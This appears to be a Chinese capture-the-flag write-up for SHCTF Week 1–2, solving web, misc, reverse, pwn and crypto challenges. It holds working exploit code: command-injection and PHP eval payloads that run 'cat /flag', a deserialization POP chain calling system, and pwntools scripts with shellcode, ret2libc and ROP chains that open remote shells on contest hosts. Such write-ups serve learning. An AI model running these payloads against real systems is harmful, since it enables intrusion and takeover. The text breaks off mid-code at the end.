Web
[Week1]1zflask
进来是404 not found
根据题目描述访问/robots.txt
访问得到app.py
import os
import flask
from flask import Flask, request, send_from_directory, send_file
app = Flask(__name__)
@app.route('/api')
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result
@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder,'robots.txt')
@app.route('/s3recttt')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)
if __name__ == '__main__':
app.run(debug=True)
比较明显
访问/api会自动执行ls /
传参?SSHCTFF=cat /flag即可
[Week1]单身十八年的手速
查看js代码
整理一下
可以看到明显的base64编码,解码即可
[Week1]蛐蛐?蛐蛐!
查看源代码可以看到提示
访问/source.txt
<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
if($_POST['ququ']!=null){
$eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
eval($_POST['ququ']);
}else{
echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");
}
else{
echo("呜呜呜fault还是要出题");
}
第一个if用?ququ=114514a即可
接下来post传参ququ
前面六个字符需要为ququk1
后面用 | 运算符即可 |
ququ=ququk1 | system(‘cat /f*’); |
[Week1]poppopop
源代码:
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {
($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
if (isset($_GET['data'])) {
highlight_file(__FILE__);
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
echo "小丑离我远点!!!";
}
比较简单的反序列化
exp:
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
}
class T{
public $n;
}
class F {
public $o;
}
class SHCTF {
public $isyou="system";
public $flag="cat /f*";
}
$a = new T();
$b = new F();
$a->n=$b;
$c = new C();
$b->o=$c;
$d = new SHCTF();
$c->p=$d;
$t=serialize($a);
echo($t."\n");
echo (base64_encode($t));
[Week1]jvav
用java写一个简单的可以执行命令的程序即可
还不太懂java,于是去网上找了一个
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class demo {
public static void main(String[] args) throws IOException {
InputStream in =Runtime.getRuntime().exec("cat /flag").getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b))!= -1){
byteArrayOutputStream.write(b,0,a);
}
System.out.println(byteArrayOutputStream.toString());
}
}
[Week1]ez_gittt
可以用dirsearch扫一下
发现是git泄露(其实题目名字也告诉我们了)
使用处理git泄露的工具git_extract
命令:
python2 git_extract.py url/.git/
用python3会报错就换python2
该命令会把/.git/下个版本的文件恢复
可以看到恢复了/flag
恢复的文件会放到该工具所在目录的entry.shc.tf_49410文件夹下
打开flag文件即可
[Week1]MD5 Master
<?php
highlight_file(__file__);
$master = "MD5 master!";
if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}
代码的意思比较明显,就是post传入master1和master2后会在其前面加上”MD5 master!”进行对比
如果本身的值不相等,但是md5加密后相等则输出flag
利用工具fastcoll进行md5强碰撞
建一个txt文件,内容为MD5 master!
直接把txt拉到exe里,会自动执行
用exe执行后生成两个文件
但此时两个txt文件都是乱码
找个脚本将两个文件进行url编码即可
传参即可(注意别把!编码后的%21传上去了)
Misc
[Week1]签到题
扫码二维码关注公众号发送信息得到flag
[Week1]真真假假?遮遮掩掩!
首先得到一个压缩包,解压是看到有一串掩码,以为要掩码攻击,
但是可以直接解压,然后下一个压缩包还是有这一串掩码、
所以直接掩码攻击得到密码打开压缩包
打开得到flag
[Week1]拜师之旅①
首先得到一张打不开的图片,放进010看
缺失头文件,加上89504e470d0a1a0a
可以打开图片,然后看图片,发现图片宽高不对,一把梭修复得到flag
[Week1]Rasterizing Traffic
导出一张图片
光栅脚本解密
[Week1]有WiFi干嘛不用呢?
首先把may里面的文件里的东西全部提取出了成为一个文本
然后用aircrack-ng跑得到密码
[Week1]Quarantine
Windows 隔离文件 使用rc4加密
from pathlib import Path
# File path provided by the user
quarantine_file_path = Path("./5760650163482280EF03C48A97277F7E490A0761")
# RC4 key for decryption (hardcoded in the provided code)
DEFENDER_QUARANTINE_RC4_KEY = [
0x1E, 0x87, 0x78, 0x1B, 0x8D, 0xBA, 0xA8, 0x44, 0xCE, 0x69, 0x70, 0x2C, 0x0C, 0x78, 0xB7, 0x86, 0xA3, 0xF6, 0x23,
0xB7, 0x38, 0xF5, 0xED, 0xF9, 0xAF, 0x83, 0x53, 0x0F, 0xB3, 0xFC, 0x54, 0xFA, 0xA2, 0x1E, 0xB9, 0xCF, 0x13, 0x31,
0xFD, 0x0F, 0x0D, 0xA9, 0x54, 0xF6, 0x87, 0xCB, 0x9E, 0x18, 0x27, 0x96, 0x97, 0x90, 0x0E, 0x53, 0xFB, 0x31, 0x7C,
0x9C, 0xBC, 0xE4, 0x8E, 0x23, 0xD0, 0x53, 0x71, 0xEC, 0xC1, 0x59, 0x51, 0xB8, 0xF3, 0x64, 0x9D, 0x7C, 0xA3, 0x3E,
0xD6, 0x8D, 0xC9, 0x04, 0x7E, 0x82, 0xC9, 0xBA, 0xAD, 0x97, 0x99, 0xD0, 0xD4, 0x58, 0xCB, 0x84, 0x7C, 0xA9, 0xFF,
0xBE, 0x3C, 0x8A, 0x77, 0x52, 0x33, 0x55, 0x7D, 0xDE, 0x13, 0xA8, 0xB1, 0x40, 0x87, 0xCC, 0x1B, 0xC8, 0xF1, 0x0F,
0x6E, 0xCD, 0xD0, 0x83, 0xA9, 0x59, 0xCF, 0xF8, 0x4A, 0x9D, 0x1D, 0x50, 0x75, 0x5E, 0x3E, 0x19, 0x18, 0x18, 0xAF,
0x23, 0xE2, 0x29, 0x35, 0x58, 0x76, 0x6D, 0x2C, 0x07, 0xE2, 0x57, 0x12, 0xB2, 0xCA, 0x0B, 0x53, 0x5E, 0xD8, 0xF6,
0xC5, 0x6C, 0xE7, 0x3D, 0x24, 0xBD, 0xD0, 0x29, 0x17, 0x71, 0x86, 0x1A, 0x54, 0xB4, 0xC2, 0x85, 0xA9, 0xA3, 0xDB,
0x7A, 0xCA, 0x6D, 0x22, 0x4A, 0xEA, 0xCD, 0x62, 0x1D, 0xB9, 0xF2, 0xA2, 0x2E, 0xD1, 0xE9, 0xE1, 0x1D, 0x75, 0xBE,
0xD7, 0xDC, 0x0E, 0xCB, 0x0A, 0x8E, 0x68, 0xA2, 0xFF, 0x12, 0x63, 0x40, 0x8D, 0xC8, 0x08, 0xDF, 0xFD, 0x16, 0x4B,
0x11, 0x67, 0x74, 0xCD, 0x0B, 0x9B, 0x8D, 0x05, 0x41, 0x1E, 0xD6, 0x26, 0x2E, 0x42, 0x9B, 0xA4, 0x95, 0x67, 0x6B,
0x83, 0x98, 0xDB, 0x2F, 0x35, 0xD3, 0xC1, 0xB9, 0xCE, 0xD5, 0x26, 0x36, 0xF2, 0x76, 0x5E, 0x1A, 0x95, 0xCB, 0x7C,
0xA4, 0xC3, 0xDD, 0xAB, 0xDD, 0xBF, 0xF3, 0x82, 0x53
]
def rc4_crypt(data: bytes) -> bytes:
"""RC4 encrypt / decrypt using the Defender Quarantine RC4 Key."""
sbox = list(range(256))
j = 0
for i in range(256):
j = (j + sbox[i] + DEFENDER_QUARANTINE_RC4_KEY[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
out = bytearray(len(data))
i = 0
j = 0
for k in range(len(data)):
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
val = sbox[(sbox[i] + sbox[j]) % 256]
out[k] = val ^ data[k]
return bytes(out)
# Read the quarantine file and decrypt its contents
with quarantine_file_path.open("rb") as file:
encrypted_data = file.read()
# Decrypt the data using the RC4 function
decrypted_data = rc4_crypt(encrypted_data)
# Save the decrypted output for inspection
output_path = quarantine_file_path.with_suffix(".decrypted")
with output_path.open("wb") as decrypted_file:
decrypted_file.write(decrypted_data)
print(output_path)
将base64解密之后是一个Zip压缩包
下载下来之后有密码
跑一下rockyou字典即可得到密码解压得到flag
Rev
[Week1]ezxor
data = [0xC3, 0x69, 0x72, 0xC4, 0x67, 0x4A, 0xE8, 0x11, 0x43, 0xCF,
0x6F, 0x00, 0xF3, 0x44, 0x6E, 0xF8, 0x59, 0x49, 0xE8, 0x4E,
0x5E, 0xE2, 0x53, 0x43, 0xB1, 0x5C]
for i in range(len(data)):
j = i % 3
if j == 1:
data[i] = data[i] ^ 0x21
elif j == 2:
data[i] = data[i] ^ 0x31
elif j == 0:
data[i] = data[i] ^ 0x90
print(chr(data[i]), end='')
[Week1]gamegame
import numpy as np
sudoku_puzzle = np.array([
[5, 3, 0, 0, 7, 0, 0, 0, 0],
[6, 0, 0, 1, 9, 5, 0, 0, 0],
[0, 9, 8, 0, 0, 0, 0, 6, 0],
[8, 0, 0, 0, 6, 0, 0, 0, 3],
[4, 0, 0, 8, 0, 3, 0, 0, 1],
[7, 0, 0, 0, 2, 0, 0, 0, 6],
[0, 6, 0, 0, 0, 0, 2, 8, 0],
[0, 0, 0, 4, 1, 9, 0, 0, 5],
[0, 0, 0, 0, 8, 0, 0, 7, 9]
])
def is_safe(board, row, col, num):
if num in board[row] or num in board[:, col]:
return False
start_row, start_col = 3 * (row // 3), 3 * (col // 3)
if num in board[start_row:start_row+3, start_col:start_col+3]:
return False
return True
def solve_sudoku(board):
for row in range(9):
for col in range(9):
if board[row, col] == 0:
for num in range(1, 10):
if is_safe(board, row, col, num):
board[row, col] = num
if solve_sudoku(board):
return True
board[row, col] = 0
return False
return True
solve_sudoku(sudoku_puzzle)
print(sudoku_puzzle)
[Week1]ezrc4
def init_sbox(key):
sbox = list(range(256))
j = 0
key_len = len(key)
for i in range(256):
j = (j + sbox[i] + key[i % key_len]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
return sbox
def rc4_decrypt(ciphertext, key):
sbox = init_sbox(key)
i = j = 0
plaintext = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
k = sbox[(sbox[i] + sbox[j]) % 256]
plaintext.append(byte ^ k ^ 0x66)
return bytes(plaintext)
result = [
0x21,0xab,0x3f,0x42,0x65,0x8f,0x3c,0x5b,0xc,0x17,0x5,0x6e,0x84,0xe7,0x1a,0x69,0xc3,0x77,0x70,0x1f,0x11
]
key = b"FenKey!!"
decrypted_result = rc4_decrypt(result, key)
print(decrypted_result.decode('utf-8', errors='ignore'))
[Week1]ezapk
import base64
encoded_str = "woLDgMOgw7hEwoJQw7zDtsKow7TDpMOMZMOow75QxIbDnsKmw6Z4UMK0w7rCklDCrMKqwqbDtMOOw6DDsg=="
key = [12, 15, 25, 30, 36]
decoded_bytes = base64.b64decode(encoded_str)
decoded_chars = [char for char in decoded_bytes.decode('utf-8')]
original_chars = []
for i, char in enumerate(decoded_chars):
char_value = ord(char) // 2 - 6
original_char = chr(char_value ^ key[i % len(key)])
original_chars.append(original_char)
flag = ''.join(original_chars)
print(flag)
[Week1]ezDBG
Pwn
[Week1] 指令执行器
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#p = process('./pwn')
p = remote('210.44.150.15',45200)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
#gdb.attach(p, 'b *0x04007A8')
#gdb.attach(p,'b *$rebase(0x13BD)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
#exp
sla('Please enter the instruction length:',b'512')
shellcode=asm('''
xor rdi,rdi
lea rsi, [rsp+0x50]
mov rdx, 0x100
mov r10, rcx
sub r10, 17
call r10
call rsi
''')
#pay0 = b'a'*(0x138)
sla('Please enter the instruction:',shellcode)
pause()
s('\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05')
p.interactive()
[Week1] 签个到吧
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#p = process('./pwn')
p = remote('entry.shc.tf',33717)
#elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
#gdb.attach(p, 'b *0x04007A8')
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
#exp
sa('test command',b'exec 1>&0 && ca\\t f*')
p.interactive()
[Week1]No stack overflow1
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#p = process('./pwn')
p = remote('entry.shc.tf',44867)
#elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
#gdb.attach(p, 'b *0x04007A8')
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
#exp
pay = b'\x00'+b'a'*(0x117)+p64(0x4012D0)+p64(0x4011D6)
sla('>>>',pay)
p.interactive()
[Week1]No stack overflow2
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#p = process('./pwn')
p = remote('entry.shc.tf',38095)
elf = ELF('./vuln (1)')
#libc = ELF('./libc-2.27.so')
#gdb.attach(p, 'b *0x04007A8')
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
#exp
rdi = 0x401223
ret = 0x40101a
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
sla('size: ',b'-1')
pay0 = b'a'*(0x108)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x401228)
sa('input: ',pay0)
puts_addr = get_addr()
print('puts_addr->',hex(puts_addr))
libc_addr =puts_addr - 0x80e50
sys_addr = libc_addr + 0x50d70
sh_addr = libc_addr +0x1d8678
sla('size: ',b'-1')
pay1 = b'a'*(0x108)+p64(ret)+p64(rdi)+p64(sh_addr)+p64(sys_addr)
sa('input: ',pay1)
p.interactive()
[Week1]No stack overflow2 pro
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#p = process('./pwn')
r = remote('entry.shc.tf',23569)
#elf = ELF('./No_stack_overflow2')
#libc = ELF('./libc-2.27.so')
#gdb.attach(p, 'b *0x04007A8')
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
#exp
r.sendlineafter('size: ',b'2147483648')
p = b'a'*(0x108)
p += pack('<Q', 0x000000000040a32e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e50e0) # @ .data
p += pack('<Q', 0x00000000004507f7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000452d55) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a32e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e50e8) # @ .data + 8
p += pack('<Q', 0x0000000000445570) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000452d55) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004022bf) # pop rdi ; ret
p += pack('<Q', 0x00000000004e50e0) # @ .data
p += pack('<Q', 0x000000000040a32e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e50e8) # @ .data + 8
p += pack('<Q', 0x000000000049d06b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000445570) # xor rax, rax ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402074) # syscall
r.send(p)
r.interactive()
Crypto
[Week1] EzAES
from Crypto.Cipher import AES
ciphertext = b'\xd9\x96\x12\xd2\xc8C\xf3\xda\x1b\xcc\x16:E\\y\xb0\xc0h\xeaZ\xa2\x94g\x12\xb9\x10\x1eM\x17\x7f\rt\xd9P\xc3\xaei#\xf1Iz\xb4\x00\x87\xe8\xb6\xe1\xc7'
iv = b"4 H\xba\x11'q\x9do\x0b\x95M\xa3\xc2;\x1b"
key = b'm?\xe4g\xed&\x15\x0f\xde\xf6\xdd\x0cc\xbf~\xa0'
aes = AES.new(key, AES.MODE_CBC, iv)
decrypted = aes.decrypt(ciphertext)
flag = decrypted.rstrip(b' ')
print(flag.decode('utf-8'))
[Week1] Hello Crypto
from Crypto.Util.number import long_to_bytes
m = 215055650564999214440740846573763404964336902332280349562984743385314575382442402233747089392788438317622305039110504400765
flag = long_to_bytes(m)
print(flag)
Misc
[Week2]遮遮掩掩?CCRC!
zip包三字节,猜测为汉字,修改CRC32碰撞脚本
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
import requests
import zipfile
import binascii
import string
from natsort import natsorted # 导入natsorted库
def ReadCRC(zipname):
zip_url = "./" + zipname
file_zip = zipfile.ZipFile(zip_url) # 用zipfile读取指定的压缩包文件
name_list = file_zip.namelist() # 获取并存储压缩包内所有的文件名
sorted_names = natsorted(name_list) # 自然排序文件名
crc_list = []
crc32_list = []
print('+--------------遍历指定压缩包的CRC值----------------+')
for name in sorted_names:
name_message = file_zip.getinfo(name)
crc_list.append(name_message.CRC)
crc32_list.append(hex(name_message.CRC))
print('[OK] {0}: {1}'.format(name, hex(name_message.CRC)))
print('+-------------对输出的CRC值进行汉字爆破-----------------+')
comment = ''
# 汉字范围,选择你想要的汉字
chars = [chr(i) for i in range(0x4e00, 0x9fa5)] # 汉字的 Unicode 范围
for crc_value in crc_list:
for char in chars:
thicken_crc = binascii.crc32(char.encode('utf-8')) # 获取汉字的CRC32值
calc_crc = thicken_crc & 0xffffffff # 将CRC32值与0xffffffff进行与运算
if calc_crc == crc_value: # 匹配两个CRC32值
print('[+] {}: {}'.format(hex(crc_value), char))
comment += char
break # 匹配后跳出循环
print('+-----------------CRC爆破结束!!!-----------------+')
crc32_list = str(crc32_list)
crc32_list = crc32_list.replace('\'', '')
print("读取成功,导出CRC列表为:" + crc32_list) # 导出CRC列表
print('CRC爆破成功,结果为: {}'.format(comment)) # 输出爆破结果
if __name__ == '__main__':
zipname = str(input("请输入压缩包名字:\nReadZip >>> "))
ReadCRC(zipname)
再使用熊曰解码可以得到flag
[Week2]拜师之旅②
图片包含多个IDAT块,发现其中一个IDAT块异常
使用010editor打开,将trunk【1】-【4】全部删除,最后保存文件
得到flag
[Week2]Schneider
找到施耐德工控工具,注册账号后下载
使用工具打开即可
Web
[Week2]guess_the_number
在源码看到提示
下载附件得到源码:
import flask
import random
from flask import Flask, request, render_template, send_file
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', first_num = first_num)
@app.route('/s0urce')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)
@app.route('/first')
def get_first_number():
return str(first_num)
@app.route('/guess')
def verify_seed():
num = request.args.get('num')
if num == str(second_num):
with open("/flag", "r") as file:
return file.read()
return "nonono"
def init():
global seed, first_num, second_num
seed = random.randint(1000000,9999999)
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)
init()
app.run(debug=True)
可以根据first_num来反猜seed,构造脚本
import random
# 已知的first_num
known_first_num = 2346317842 # 这里填写实际的first_num值
# 遍历所有可能的seed值
for possible_seed in range(1000000, 10000000):
random.seed(possible_seed)
generated_first_num = random.randint(1000000000, 9999999999)
if generated_first_num == known_first_num:
print(f"Found seed: {possible_seed}")
break
else:
print("No matching seed found.")
得到seed为:4819039
然后再构造脚本求得second_num
import random
# 已知的first_num
known_first_num = 2346317842
# 找到的seed值
found_seed = 4819039
# 使用找到的seed值初始化随机数生成器
random.seed(found_seed)
# 生成first_num和second_num
generated_first_num = random.randint(1000000000, 9999999999)
generated_second_num = random.randint(1000000000, 9999999999)
# 验证first_num是否正确
if generated_first_num == known_first_num:
print(f"First number matched: {generated_first_num}")
print(f"Predicted second number: {generated_second_num}")
else:
print("Failed to match the first number.")
输入即可得到flag
[Week2]入侵者禁入
源代码:
from flask import Flask, session, request, render_template_string
app = Flask(__name__)
app.secret_key = '0day_joker'
@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'flag': 'your_flag_here'
}
with open(__file__, 'r') as file:
